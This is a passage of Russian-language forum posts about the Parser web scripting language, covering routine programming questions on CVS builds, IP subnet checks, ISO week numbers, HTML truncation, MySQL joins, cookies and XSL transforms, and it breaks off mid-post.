"59451","если есть - то проще попробовать скомпилить: ибо для этого нужно тупо copy/paste три комманды из доки (и возможно дописать в configure одну опцию):\
- cvs ... login\
- cvs ... checkout\
- ./buildall-with-xml или ./buildall-without-xml\
\
P.S. http://www.parser.ru/forum/?id=52143, http://www.parser.ru/forum/?id=48904"
"59452","[code]sub ip {\
  my ($addr,$subnet)=@_;\
  my ($oaddr,$mask)=split/\\//,$subnet;\
  my $poaddr=unpack(\"L\",pack(\"C4\",(split (/\\./, $oaddr))));\
  my $paddr=unpack(\"L\",pack(\"C4\",(split (/\\./, $addr))));\
  my $pmask=unpack(\"L\",pack(\"B32\",(1 x $mask)));\
  if (($paddr & $pmask)==($poaddr & $pmask)){return 1;}\
  return 0;\
}[/code]"
"59453","Шела не было, я бы написал..\
Саппорт хостинга что-то сделал, теперь всё странно.. Работает только связка из парсера для freebsd 5.5 (by А. Шипилов) и mysql драйвера для freebsd 4.x. \
Я очень озадачен, но трогать ничего не хочу.. =)"
"59454","Если не путаю:\
Perl:\
[code]\
sub ip {\
\
}\
[/code]\
\
Parser:\
[code]\
@ip[]\
[/code]"
"59455","http://www.parser.ru/examples/int-ip/\
\
После чего сделать метод @isValidIP[aIP;aNet] будет очень несложно."
"59457","Следующий код у меня выводит ошибку \"[b]not supported type[/b]\":\
[code]\
@main[]\
^exec{\
	abcd\
}\
#end @main[]\
\
\
\
@exec[jnCode]\
^if($jnCode is junction){\
	$result[$jnCode]\
}{\
	^throw[type;^$jnCode;not supported type]\
}\
#end @exec[]\
\
[/code]\
\
P.S. Я неправильно понял понятие класса junction из документации?"
"59460","посмотрел, пока не получается.\
в парсере нету чего-то вроде pack и unpack в перл?"
"59461","Делаю как в доке:\
1. cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
2. Пароль пустой (Enter)\
3. cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3\
\
Ловлю ошибку:\
setgid failed: Operation not permitted\
\
Что я делаю не так?\
\
Из поиска в инете нашел вот это:\
[quote]# cvs login works but cvs checkout or other commands fail with \"setgid failed: Operation not permitted\"\
\
This can happen when you run cvsd as non-root (which is recommended) and didn't set up your repository passwd file (CVSROOT/passwd) correctly. The repository passwd files should contain mappings of cvs users to the user you specified in cvsd.conf. If no mapping is present cvs tries to become the \"original\" user and fail because it's not running as root. Your repository passwd files should look like:\
anonymous:XGPg1ub8xh70U:cvsd\
\
Another possibility is that your system uses something different for providing user information (nis/ldap/etc) and that your chroot passwd file (e.g. /var/lib/cvsd/etc/passwd) does not match the system passwd database (any more). This is especially important if your chroot jail is on an nfs filesystem.\
In this case it may be needed to rerun cvsd-buildroot and check it's output (and possibly the output of cvsd-buginfo) to see which users are missing.\
[/quote]\
http://ch.tudelft.nl/~arthur/cvsd/faq.html#setgid\
\
\
Но, если честно, не понял нифига, это вообще ко мне имеет отношение или к серверу?"
"59462","Если есть Mason, то зачем нужен Parser?"
"59464","http://www.artlebedev.ru/tools/technogrette/technogrette.rdf"
"59465","А вообще этот раздел — один из немногих, где открыто опубликованы наши электронные адреса :-) Про ошибки полезнее писать именно туда, а не на форум."
"59470","[code]\
$tkDate[^date::create(2007;01;08)]\
$tkDate.week\
[/code]\
$tkDate.week = 1"
"59471","http://www.cl.cam.ac.uk/~mgk25/iso-time.html\
http://en.wikipedia.org/wiki/ISO_8601\
[quot]\
The ISO year starts at the first day (Monday) of week 01 and ends at the Sunday before the new ISO year\
[/quot]"
"59472","[quote]\
If 1 January is on a Monday, Tuesday, Wednesday or Thursday, it is in week 01.\
[/quote]\
Почему 8 и 15 января входят в, соответcвенно, первую и вторую неделю, а 9 и 16 во вторую и третью?"
"59473","[quote]\
Mutually equivalent definitions for week 01 are: the week with the year's first Thursday in it ...\
[/quote]"
"59475","В неделе вроде бы 7 дней...\
У парсера получается что 2007.01.01 (ПН) - первая неделя, но и 2007.01.08 (ПН)- тоже первая...\
как это?"
"59477","почитайте спецификацию, упоминание которой есть в парсерной документации (там где сказано про week) и ссылки на варианты которой я привел."
"59478","хм. не проверял выдаваемые цифры, но похоже что действительно что-то не так:\
[code]\
^for[year](2004;2007){\
	$d[^date::create[${year}-01-01]]\
	^for[i](0;20){\
		^d.sql-string[] week: $d.week, weekday: $d.weekday<br />\
		^d.roll[day](1)\
	}\
}[<hr />]\
[/code]\
\
проверю."
"59480","Здравствуйте!\
\
Задача: вывести ссылками список картинок из папки с параметрами (ширина x высота, размер, в чём измеряется).\
\
Должно получиться что-то вроде:\
\
1024х768, 30,5 КБайт\
\
\
Написал такой код:\
\
[code]@test[]\
$file_list[^file:list[/img/;^^spheres_1]]\
^file_list.menu{ \
	$image_param[^image::measure[/img/$file_list.name]] \
	$file_stat[^file::stat[/img/$file_list.name]]\
	$file_stat_s[$file_stat.size]\
	$file_length[^file_stat_s.length[]]\
			^switch[$file_length]{ \
			^case[1]{$file_value[Байт]$file_stat_s_m[$file_stat_s]}\
			^case[2]{$file_value[Байт]$file_stat_s_m[$file_stat_s]}\
			^case[3]{$file_value[Байт]$file_stat_s_m[$file_stat_s]}\
			\
			^case[4]{$file_value[КБайт]$file_stat_s_m(^eval($file_stat_s/1000)[%.0f])}\
			^case[5]{$file_value[КБайт]$file_stat_s_m(^eval($file_stat_s/1000)[%.0f])}\
			\
			^case[6]{$file_value[МБайт]$file_stat_s_m(^eval($file_stat_s/1000000)[%.0f])}\
			^case[7]{$file_value[МБайт]$file_stat_s_m(^eval($file_stat_s/1000000)[%.0f])}			\
			}\
<A href=\"/img/$file_list.name\" title=\"Обои для рабочего стола\">$image_param.width x $image_param.height, $file_stat_s_m $file_value</A><BR>\
}[/code]\
\
В связи с этим два вопроса:\
\
1. Насколько такой код является оптимальным, как можно это реализовать с меньшими затратами?\
\
2. Что нужно сделать, чтобы дробная часть размера файла отделялась от целой не точной, а запятой?"
"59483","Здравствуйте, господа!\
\
При большой нагрузке на сайте в логах PARSER' появляются такие строки\
[code]\
<..>\
'sql.p' not found along MAIN:CLASS_PATH [parser.runtime]\
'auth/my_auth.p' not found along MAIN:CLASS_PATH [parser.runtime]\
<..>\
[/code]\
\
Файлы как лежали на своих местах, так и лежат.\
В чем может быть причина того, что PARSER иногда не может прочитать их с диска?\
\
Спасибо!"
"59486","Такой код:\
\
$locate_uri[($parts.1)_1]\
\
выбирает из uri стоку, которая потом сравнивается с кучей файлов начинающихся на xxxx_1\
\
Всё работает.\
\
Вопрос: почему $locate_uri выдаёт (xxxx)_1 (тогда как без скобок не работает)?\
\
Второй вопрос: почему вообще работает, ведь строки получаются неравны (в имени файла скобок между xxx и _1) нет?"
"59487","а) это $locate_uri[($parts.1)_1] должно выглядеть так: $locate_uri[${parts.1}_1], а вам читать документацию.\
\
б) Ну смотря как ищете, если это чтото вроде ^file:list[$path;$locate_uri] то скобки ни на что не влияют, тк как $locate_uri в данном случае берется как рег. выражение"
"59489","я подобные ошибки наблюдал лишь при работе сайта под нагрузкой в те моменты, в которые произодится изменение файлов. при записи файл удаляется, начинает записываться новый вариант, в этот момент происходит запрос, который не может считать файл.\
\
разные редакторы работают с файлами по разному: некоторые удаляют и затем пишут, другие - пишут, удаляют и переименовывают записанное. последние лучше в том смысле что файл \"отсутствует\" меньше по времени.\
\
однако описанную вами ситуацию прокомментировать не могу, но вы можете попробовать проверить - найти последнюю запись о подобной ошибке в логе и посмотреть не совпадает ли она с датой модификации файла (хотя дата модификации может быть больше, т.к. файл мог редактироваться позже, и при этом, более позднем редактировании, запросов и соотв. ошибок не произошло)."
"59490","Заранее извиняюсь, что не про парсер. Сижу сейчас, голова не соображает. Просто может кто-то делал и сможет подсказать.\
\
Имеем:\
1. Текст в HTML. Большой такой текст. Например, статью. В тексте есть теги. Всякие полезные теги, типа P, A, IMG, TABLE, TR, TD, BR. Условие одно - HTML валиден, т.е. каждому открытому тегу соответствует свой закрытый. Кроме BR. Ну, и, нет шапки. Т.е. нет <HTML>, <HEAD>, <BODY>, т.е. только то, что обычно находится между <BODY> и </BODY>\
\
2. Имеем язык программирования, в котором:\
- нет ассоциативных массивов\
- нет регулярных выражений\
- да и вообще функционал - как у JavaScript, может чуть по-больше. Но ориентируемся на JavaScript.\
\
Что нужно?\
\
Нужно взять этот текст, вырезать от него начало. Полученный кусок должен не превышать 10% от веса исходного текста, но при этом быть не больше 20КБ. Т.е. если 10% оказалось больше 20КБ, то отрезок равен 20КБ.\
\
Далее. Нужно закрыть все обрезанные теги. Т.е. если конец пришелся на середину текста внутри <P></P>, то закончить слово, которое обрезано, и поставить там </P>.\
\
Аналогично с H1, H2, H3.\
\
Аналогично <IMG> - если обгрыз текста пришелся на тег IMG, то нужно:\
1. Закончить тег IMG\
2. Посмотреть размер текста. Если размер текста стал больше 50% от размера первоначального текста, то IMG нафиг удалить.\
\
И самое сложное - то же самое сделать с таблицами. Т.е. если обрыв пришелся на таблицу, то нужно удалить все последующие строки таблицы, а саму таблицу закрыть. При этом могут быть еще и вложенные таблицы.\
\
Одним словом - УЖС.\
\
Если кто-то уже когда-то делал подобное - направьте на путь истинный."
"59491","не знаю, о каком языке программирования идет речь, но если в нем нет возможности запуска внешних скриптов, то у вас мало что получится.\
\
Пишите скрипт на Перл/Парсер/Пхп - в нем регекспами обрабатываете ваш текст, результат отдаете вашему скриптику на непонятном языке."
"59492","Этот язык используется на своем сервере. Штука в том, что сервер понимает только этот язык. Больше ничего. И БД у него своя и все у него свое и самописное. И пишется это еще с 90-х годов, так что переделать ничего не получится. Нужно делать именно на нем.\
Поэтому-то мне и нужен.. ну просто более менее подходящий алгоритм."
"59493","в javascript есть и ассоциативные массивы, и регулярные выражения, а его функционала вполне хватает для написания чего нибудь вроде google docs and spreadsheets. В том смысле что если имелось в виду что-то типа \"имеем язык программирования с убогим функционалом\", то ориентироваться лучше не на javascript, а на что нибудь попроще ;)"
"59494","Примерно так.\
Опять же не могу сказать, что у конкретно этого языка убогий функционал - на самом деле это мощная штука, но предназначена для другого.\
Ну ладно, это точно не по теме разговор."
"59495","...на другом хостинге. Вызывать внешние страницы, я надеюсь, ваш сервер умеет? Что-то типа крона у него есть?"
"59497","Имеется компьютер-сервер.\
На нем стоит вот именно вот эта программа-сервер. А язык - это скриптовый язык для сайтов этого сервера. Что-то крона там есть, можно, возможно, даже запускать другие ПО через какую-нибудь связку. НО. Но нельзя. Это функция, которая должна будет вызываться в разных частях сайта. Работать должна сама по себе, без подзагрузки и запусков чужеродных программа.\
В общем обходные пути тут не помогут. Нужно в лоб. Может завтра утром какая мысль умная придет, как это сделать, пока не могу.\
Один плюс. Можно писать свои объекты. Я написал что-то типа ассоциативного массива.\
arr = new Hash();\
arr.Add(key,value); - добавить связку ключ-значение\
arr.Select(key); - получить значение по ключу\
arr.Delete(key); - удалить связку по ключу\
arr.Def(key); - проверить наличие связки\
\
Т.е., допустим, проблему ассоциативного массива я решил.\
Проблема регулярных выражений не решается. Если только самому не написать обработчик регулярных выражений."
"59498","Можно ли в языке строки посимвольно перебирать?"
"59499","[code]String([str])\
Класс, предназначенный для работы со строками.\
Object  Любой  объект, пригодный для преобразования в строку, т.е. такой, который поддерживает метод toString. \
\
Поддерживаются строки длиной до 64 килобайт.\
Наследник класса Object.\
\
Свойства:length  Number  Длина строки.  \
\
\
\
Методы:charAt(pos)  \
   получить строку из одного символа, взятого с позиции pos. \
code()  \
   получить код первого символа в строке \
indexOf(str)  \
   получить позицию первого элемента подстроки str при поиске с начала строки. \
isChar()  \
   узнать, является ли первый символ строки не-цифрой.  \
isDigit()  \
   узнать, является ли первый символ строки цифрой.  \
lastIndexOf(str)  \
   получить позицию первого элемента подстроки str при поиске с конца строки. \
localeCompare(str)  \
   сравнить со строкой str.  \
match(str|re)  \
   получить массив, соответствующий регулярному выражению str. соответствующий регулярному выражению или null, если соответствия не найдено. \
replace(str1|re, str2)  \
   получить из исходной строку, в которой все вхождения подстроки str1 заменены на подстроку str2. \
split(str|re)  \
   получить массив из строк, которые получаются разбиванием данной строки подстрокой str. \
substring(stpos[, endpos])  \
   получить подстроку.  \
toLowerCase()  \
   перевести все символы строки в нижний регистр. \
toUpperCase()  \
   перевести все символы строки в верхний регистр. \
translate(str1, str2)  \
   получить из исходной строку, в которой символы, содержащиеся в str1 заменены на соответствующие символы из str2. \
trim()  \
   получить из исходной строку, лишенную краевых пробелов. \
[/code]\
\
\
Примечание: Но при этом то, что там написано \"регулярные выражения\" - они не работают. Только для работы с обычными строками."
"59500","есть необходимость передачи исходных кодов заказчику с лицензированием на один сайт.\
Понятно, что исходники parser никак не кодируются, но можно ли сделать некий файл лицензии, зашифровать его с помощью Zenda?\
Т.е. смысл такой - все файлы свободно передаются, но для работы сайта требуется файлик лицензии и Zend optimizer. Так как сделано в разных скриптах на php.\
Делал ли кто-то что-то подобное?"
"59501","... написать лексический анализатор - описание можно найти в любой книжке по построению компиляторов. Но работать он будет крайне медленно и память будет жрать очень не хило.\
\
А в его \"самописной БД\" в языке запросов случайно поддержки регулярных выражений не имеется?"
"59502","... в целом тут это никого не интересует. Обработка же не динамически происходит - раз в сутки генерируется все, что нужно. Плюс еще и кеширование.\
\
Сейчас буду искать алгоритм. Спасибо."
"59503","заменил содержимое вашего @check_license_from_external_file[] на единственную строчку $result[1]?\
\
Лучше нормально оформите договорные отношения с заказчиком. \
\
P.S. Поищите по слову \"байткод\" - PAF, кажется, предлагал решения с использованием \"полупереваренного\" парсерного кода."
"59504","что-то вроде http://spectator.ru/technology/php/simple_XML (смотрите самый конец текста)"
"59506","http://www.isla.ru/ - мало-ли кому идея пригодится."
"59508","Чтобы хоть посмотреть логику. А потом можно переделать уже и без них. Что-то ничего в голову не идет.\
Я так уже переделывал шаблонизатор Template_Sigma с PHP на этот язык."
"59509","Не получается вызвать метод класса (^класс:метод[]) , где имя класса - переменная, допустим, $name. Получается так ^$name:метод[] и [b]^[/b] отменяет действие [b]$[/b]. Пробовал везде расставлять различные скобки, не проходит. Такая же проблема и с вызовом $класс:поле, где имя класса - переменная. Поможет кто?"
"59510","так пробовали?\
[code]\
$jClass[$$name]\
^jClass.method[bla bla bla]\
[/code]"
"59511","Не работает.. и что-то я не понял... сути.. При ^jClass он пытается вызвать класс \"jClass\", а не какой-л. другой заданный.."
"59512","Значит с классами не прокатывает, делайте через фабрику: http://www.parser.ru/forum/?id=20720"
"59513","если объект класса уже создан:\
[code]\
@main[]\
$temp[^test::create[]]\
$name[temp]\
$jClass[$[$name]]\
^jClass.test[]\
\
@CLASS\
test\
\
@create[]\
$i(1)\
\
@test[][result]\
$result[test ok]\
[/code]\
\
а если нет, то фабрика, фaбрика :)"
"59514","[code]@ip[addr;subnet]\
$parts[^subnet.split[/;lh]]\
$oaddr[$parts.0]$mask[^tmp[$parts.1]]\
^connect[$MAIN:mysql_connect]{\
$r[^table::sql{select inet_aton('$addr') & inet_aton('$mask') as r1,inet_aton('$oaddr') & inet_aton('$mask') as r2}]\
}\
^if($r.r1 eq $r.r2){$result(1)}{$result(0)}[/code]\
\
#@tmp[n] преобразует n в формат ип-адреса\
#например 24 в 255.255.255.0"
"59515","URL не правильный._\
([i]неправильный[/i])\
\
А этому лет сто!"
"59516","по мелочи, локальные переменные объявить и если проверка идет в условии result лучше указать явно\
[code]\
@ip[addr;subnet][parts;oaddr;mask;r;result]\
$parts[^subnet.split[/;lh]]\
$oaddr[$parts.0]$mask[^tmp[$parts.1]]\
^connect[$MAIN:mysql_connect]{\
$r[^table::sql{select inet_aton('$addr') & inet_aton('$mask') as r1,inet_aton('$oaddr') & inet_aton('$mask') as r2}]\
}\
$result($r.r1 eq $r.r2)\
[/code]"
"59517","[quote]2. Имеем язык программирования, в котором:\
- нет ассоциативных массивов\
- нет регулярных выражений\
- да и вообще функционал - как у JavaScript, может чуть по-больше. Но ориентируемся на JavaScript.\
\
Что нужно?[/quote]\
\
Спросить об этом на форуме этого секретного языка. А здесь ведь форум [i]парсера[/i]."
"59518","Спасибо за ссылки по теме, по ходу дела мне всего-то нужно будет\
[quote]в разных файлах держать одноимённые классы. и делать просто[/quote]"
"59519","вариант примерно как DOM в javascript\
очень, кстати, повезло, что скриптовая система позволяет создавать объекты и делать split ;)\
\
есть кусок html\
<table>\
	<tr>\
		<td>\
			ячейка\
			<img src=\"test.jpg\" />\
		</td>\
	</tr>\
</table>\
\
нужно разделить по символу <\
получится массив\
\
table>\
tr>\
td>ячейка\
img src=\"text.jpg\" />\
/td>\
/tr>\
/table>\
\
каждая строка делится дальше по символу >\
получаются 2 части: \
1. имя тэга + аттрибуты\
2. текст\
\
из первой части достается имя тэга\
\
каждый тэг помечается \"тип\"\
1. открывающийся <table>\
2. simpleType <img ... />\
3. закрывающийся </table>\
\
после разборки html получается массив тэгов, их нужно превратить в дерево узлов, при этом закрывающиеся тэги удаляются\
узел - то же, что и тэг, только содержит другие узлы\
\
получается цепочка узлов:\
table содержит tr содержит td ...\
\
для вырезания части html дерево узлов обходится рекурсивно от корня по всем ветвям\
при этом подсчитывается, какой объем занимает каждая ветка\
те ветки, которые не укладываются в указанный объем срезаются\
\
после срезания не нужного дерево узлов преобразуется обратно к html\
\
если нужно, пример на Парсере могу отправить по почте или выложить на форуме"
"59520","А насчет форума этого языка - нет форума этого языка. На этом языке компания российского масштаба уже 15 лет работает. И сейчас людей, программирующих на этом языке в мире - двое, включая меня.\
Спасибо за помощь."
"59521","[quote]вставлять в формы ^math:md5[текущее время + секретная фраза] и не принимать формы, заполненные более, чем 5 минут назад[/quote]\
а как вы разницу временную между двумя МД5-хешами (текущим и тем что в форме) то посчитаете? :)"
"59523","1. передавать в отдельном форме ещё и время\
2. передавать время с точностью до секунды/минумы, а принимая в циклике пробедать на N итерация назад, генерить md5 и сравнивать его с пришедшим\
3. вставлять время можно не с точностью до секунды, а например с точностью до 10 минут [плохо]"
"59524","[code]\
$sClassName[MyClass]\
$o$sClassName[^Class::create[]]\
^o$sClassName.method[]\
[/code]\
\
Это если имя класса фиксированно и создаётся он динамически."
"59525","[i]Пять вопросов[/i]. Кем создан, для чего и почему. На чем базируется, каковы системные требования etc."
"59527","Требуется программист на фултайм в офис в Москве (м. Алексеевская).\
\
Parser, MySQL, XML/XSL, умение *nix'а - обязательно\
JavaScript, HTML - желательно\
\
Чай, кофе, какао, молоко, сахар, печенье предоставляется.\
\
писать на tmm где-то на madgroup.ru\
или в icq:776166"
"59528","чего-то \"вроде\" нету."
"59530","http://www.masonhq.com/docs/manual/Devel.html#inline_perl_sections\
[code]\
<%perl>\
my $noun = 'World';\
my @time = localtime;\
</%perl>\
Hello <% $noun %>,\
% if ( $time[2] < 12 ) {\
good morning.\
% } else {\
good afternoon.\
% }\
[/code]\
\
на Parser:\
[code]\
$noun[World]\
$time[^date::now[]]\
Hello $noun,\
^if($time.hour < 12){\
  good morning.\
}{\
  good afternoon.\
}\
[/code]"
"59532","забавно, сколькими способами можно решать эту задачу.\
сейчас подумалось о логарифме по основанию 1024:\
[code]\
@main[]\
<pre>\
^l(1024-1)\
^l(1024)\
^l(1024+1)\
^l(1024*1024)\
^l(1024*1024+1)\
^l(1024*1024*1024)\
@l[value]\
$log(^math:log($value)/^math:log(1024))\
$result[$value -- ^log.format[%.20f]]\
[/code]\
выдаёт\
[code]\
1023 -- 0.99985904297453276000\
1024 -- 1.00000000000000000000\
1025 -- 1.00014081943928090000\
1048576 -- 2.00000000000000000000\
1048577 -- 2.00000013758605500000\
1073741824 -- 3.00000000000000000000\
[/code]"
"59534","помню, была очень похожая задачка:\
[quote]дано: \
ассемблер: описывают совершенно обкуренный, \
где одна инструкция кроме сложения R1 и R2 делает ещё какие-то мутные операции с регистрами R3 и R4, а… памяти нет, и в других регистрах лежали ценные данные\
регистры: значения\
получить: -хитрое задание по хитровычислению-\
[/quote]"
"59535","если есть возможность, гляньте в код, не удивлюсь, если найдётся какой способ вывернуться."
"59536","Извините, но меня переклинило на простой задаче с join'ом двух таблиц.\
\
Имеем таблицу parents:[code]parent_id	parent_name\
1	\"Маша\"\
2	\"Вера\"\
3	\"Марина\"[/code]и таблицу children:[code]parent_id	child\
1	\"Боря\"\
1	\"Ваня\"\
2	\"Катя\"[/code](у Маши два ребёнка - Боря и Ваня, у Веры - одна дочка Катя, у Марины детей нет).\
\
Хочется вывести таблицу вида:[code]parent_id	parent_name	child\
1	\"Маша\"	\"Боря, Ваня\"\
2	\"Вера\"	\"Катя\"\
3	\"Марина\"	NULL[/code](\"Боря, Ваня\" должны быть в одной ячейке.)\
\
Как это сделать в MySQL, подскажите?"
"59537","Не проверял, но должно работать:\
\
[code]SELECT\
	p.parent_id,\
	p.parent_name,\
	GROUP_CONCAT (c.child SEPARATOR ', ') AS child\
FROM\
	parents p,\
	children c\
WHERE\
	p.parent_id = c.parent_id\
GROUP BY\
	p.parent_id[/code]"
"59538","[code]\
$t[^table::sql{\
	SELECT\
		parents.parent_id,\
		parents.parent_name,\
		children.child\
	FROM\
		parents LEFT JOIN children ON (parents.parent_id = children.parent_id)\
}]\
\
$h[^t.hash[parent_id;$.distinct[tables]]]\
\
^h.foreach[k;v]{$k	\"$v.parent_name\"	^v.menu{\"$v.child\"}[, ]}[^#0A]\
[/code]"
"59539","Вот вам пример описания функции EVAL:\
[quote]\
eval(str)\
Компилирует и выполняет оператор заданной строкой \\param str оператор\
Возвращает: any результат выполнения\
Выполнение не изменяет контекст вирутальной машины, то есть из оператора доступны все локальные переменные\
[/quote]\
\
Из описания никогда бы не догадался, что она делает."
"59540","Имеются большие и маленькие документы размером от 10 предложений до 150 страниц печатного текста. Эти документы продаются. И их около полутора миллионов. Что за документы? Ну, допустим, нормативные данные. Т.е. документ, в котором есть и таблицы и выделения цветом и рисунки. \
Так вот, клиент, прежде чем купить документ, должен ознакомиться - а то ли это вообще или не то? Естественно, если из документа, состоящего на 80% из таблиц тупо поубирать теги, то предпросмотр этого документа не будет нести никакой смысловой нагрузки - набор букв и цифр. Поэтому нужно сделать полноценный предпросмотр. \
\
Товарищ insomnia выслал код, вроде даже работает, но вчера я с ним еще не разбирался. Есть такой минус в нем - если первым в тексте идет не тег, а слово (к примеру, \"Здравствуй, я <i>ваша</i> тетя!\"), то после разбора текста, получается \"<Здравствуйте>, <i>ваша</i> тетя! </Здравствуйте>\". Но это мелочи, а так, кстати, все работает. Сегодня буду курочить.\
\
Сам-то я написал уже программку на PHP с учетом возможностей того языка, она все делает, но таблицы не обрабатывает. Если бы просто были таблицы, то ладно еще, а то, что они могут быть еще и вложенными - это уже хуже."
"59542","я не очень понял вопрос. \
\
все сделал согласно упоминаемому ISO + добавил поле weekyear."
"59543","[code]@ipnet[addr;subnet]\
$parts[^subnet.split[/;lh]]$oaddr[$parts.0]$mask[$parts.1]\
$paddr(^ipToInt[$addr])$poaddr(^ipToInt[$oaddr])\
#^tmp[24] = 255.255.255.0\
$pmask(^ipToInt[^tmp[$mask]])\
$result(^eval($paddr&$pmask) == ^eval($poaddr&$pmask))[/code]\
\
[code]#вот это не работает ^eval($paddr&$pmask) == ^eval($poaddr&$pmask) == -2147483648[/code]"
"59545","Добрый день.\
В доке написано, что: [quote]\"записанное значение сразу доступно для чтения.\"[/quote]. Следует ли это понимать так, что значение доступно для чтения вне зависимости от того, было ли оно в действительности записано?\
\
Откуда собственно взялся такой вопрос:\
Хотел написать код, который писал бы в куку идентификатор пользователя, а кроме того проверял бы, принимает ли клиент куки вообще.\
\
[code]@check_cookie[][result]\
	^if(!def $cookie:reqid){$cookie:reqid[^create_uid[]]}\
	$result[$cookie:reqid][/code]\
\
Код исправно отдаёт сгенерированное значение даже в том случае, если пациент куку не принял. А по замыслу должен был в этом случае не отдавать ничего."
"59547","[quote]Следует ли это понимать так, что значение доступно для чтения вне зависимости от того, было ли оно в действительности записано?[/quote]\
\
да\
\
ссылка по теме:\
http://www.parser.ru/forum/?id=59110"
"59548","Может быть имеет смысл более явно указать на это в доке?"
"59549","да, это просто doxygen'вский комментарий.\
причём почему-то даже непревращённый в конечный документ, а сырой.\
http://www.stack.nl/~dimitri/doxygen/commands.html#cmdparam\
\
т.е. люди знали, что документировать проект надо.\
и абсолютно необходимый минимум сделали.\
ну а что не сложилось дальше, так уж у них сложилось.\
\
поэтому не расслабляйтесь, а ищите исходный код — одну из форм документации на систему.\
\
fun:\
http://www.parser.ru/forum/?id=21053"
"59550","ответьте, пожалуйста."
"59551","конкретный абзац, конкретные изменения в форме\
было/стало?\
\
если так неможется, просто укажите ваши соображения в комментариях к статье, разберём и так (чуть медленнее)."
"59552","У товарища insomnia хорошее исполнение, мне понравилось, только когда начал переводить в PHP, немного затупил и у меня получилась бесконечная рекурсия. Облом.\
Исходный код, конечно, хорошо. Только ведь пересмотреть такую офигенную кучу кода - вряд ли получится. К тому же его еще получить нужно, а это другое управление. Но так в целом планы на будущее ясны. К тому же нужно разобраться, почему в документации есть регулярные выражения, но они не работают."
"59553","Здесь: http://www.parser.ru/docs/lang/cookiestats.htm\
и здесь: http://www.parser.ru/docs/lang/cookierec.htm\
\
Было:\
[quote]Примечание: записанные значения доступны для чтения сразу.[/quote]\
\
Оборот \"для чтения\" вносит путаницу.\
\
Предлагаю:\
Примечание: записанные значения доступны сразу (вне зависимости от того, произошла ли запись на стороне клиента).\
\
Или так:\
Примечание: при попытке обратиться к только что записанному значению его считывания в действительности не происходит (значение доступно вне зависимости от того, произошла ли запись на стороне клиента).\
\
Или как-нибудь ещё."
"59554","Примечание: записанное значение сразу доступно для чтения в вашем скрипте, но это не дает гарантии, что оно будет записано браузером посетителя (например если куки у посетителя отключены или блокируются файрволом)."
"59555","А как яндекс с гуглем воспринимают сайты написанные на пасере."
"59557","Замечательно!\
Только они не знают, что сайт написан на парсере.\
Для поисковой системы нет никакой разницы, какой серверный язык вы используете. Клиентские сценарии (JavaScript) — совсем другое дело — они пока плохо воспринимаются (или совсем не воспринимаются) поисковиками.\
\
С другой стороны, вне зависимости от выбранного серверного языка, имеет смысл соблюдать некоторые простые правила.\
Например, один из лучших способов поссориться с поисковиками — использовать в URL'ах страниц идентификаторы пользователей (session id)."
"59558","вам поможет doxygen. я на него неспроста ссылку ставил.\
\
понятно, что никто не читает кучу кода страницами.\
обычно достаточно узконаправленным поиском зацепить.\
скажем, \"регулярные выражения\" это \"regex\" и \"match\". когда doxygen вам построит документацию, среди прочего он породит и индекс. вот он-то вам и будет стартовой точкой, подобно этому:\
http://www.parser.ru/docs/src/functions.htm#index_m\
http://www.parser.ru/docs/src/"
"59559","Есть 1 xdoc, который хочу трансформировать;\
есть 2 xdoc-a (шаблоны для трансформации)\
\
один загружаю с диска\
\
$document_tr[^xdoc::load[/xsl/test.xsl]]\
\
второй создается в подключаемом классе, вызываю его\
 \
^nav:nav_top_xsl[]\
\
последний шаблон присоединяю к первому шаблону\
 \
$nav_xsl[$nav:nav_top_xsl.documentElement]\
$nav_templ[$document_tr.documentElement]\
$add[^nav_templ.appendChild[$nav_xsl]]\
\
для чистоты эксперимента сохраняю объединенный xdoc в файл\
\
^document_tr.save[saved.xsl]\
\
с ним вроде все в поряде:\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
.....\
</xsl:stylesheet>\
\
пытаюсь трансформировать документ, специально подготовленный для этого и выдать нагора результат:\
\
$transformedDoc[^document.transform[$document_tr]]\
^transformedDoc.string[$.method[xml]]\
\
в ответ получаю:\
\
В работе Parser произошла ошибка:\
found a top-level element xsl:template with null namespace uri\
\
если иду другим путем, вызывая сохраненный xsl\
\
$transformedDoc[^document.transform[^xdoc::load[saved.xsl]]]\
^transformedDoc.string[$.method[xml]]\
\
все прекрасно работает...\
\
подскажите, пожалуйста, где я не прав в первом варианте?"
"59560","по реальной проблеме: \
обратите внимание на $nav_xsl[$nav:nav_top_xsl.documentElement]\
Что вы добавляете в корень $document_tr? \
\
по идеалистической проблеме:\
на кой черт вам весь этот лес? вам не жаль пользователя, который как дурак сидит и ждет пока ваш мега engine подключит полтос xsl'eй?"
"59561","в корень первого документа я добавляю полностью второй документ, таким образом его корень становиться началом новой ветви первого документа, тут все работает корректно\
\
З.Ы.\
фактически получаю следующее:\
есть корень в первом документе\
\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
к нему пристегиваю новый шаблон со всем его содержимым, начиная с:\
\
<xsl:template match=\"section\">\
\
\
относительно идеалистической проблемы: может действительно есть способ динамической отрисовки меню навигации на основе возможностей xsl, когда, например, шаблон сам определяет активную страницу и соответствующим образом закрывает ссылку на нее?\
\
З.З.Ы.\
нашел в доках:\
\"...Если шаблон не считывается с диска, а создается динамически, важным вопросом становится «а откуда загрузятся <xsl:import href=\"some.xsl\"/>?», обратите внимание на возможность задания базового пути:...\"\
\
можно поподробнее для чайников, о том как ответить на этот важный вопрос, а то у меня тут комбинированный вариант создания шаблона, а собака, походу, именно тут порылась\
\
заранее спасибо"
"59562","если у вас два файла с корневым элементом stylesheet, то при добавлении второго в первый получим\
[code]\
- stylesheet\
  - stylesheet\
[/code]\
\
разве нет? х)\
\
а по поводу разных там динамик я не в курсе, единственное могу сказать что не стОит ни парсером ни пхп, ни чем другим выдумывать луноход...\
\
Мне просто интересно, перед вами стояла задача (реальная) когда без глупых динамических обрисовок меню (новые термины рулят) не обойтись? Тогда опишите ее...\
Не делайте ^муха.transform[в_слона], огребете ошибку..."
"59563","а кто сказал, что в обоих файлах корень stylesheet?\
\
задача на самом деле придумана мной и никакого отношения к реальности не имеет, просто любопытно:\
\
есть хml описывающий каркас и хранящий не изменяемые данные,\
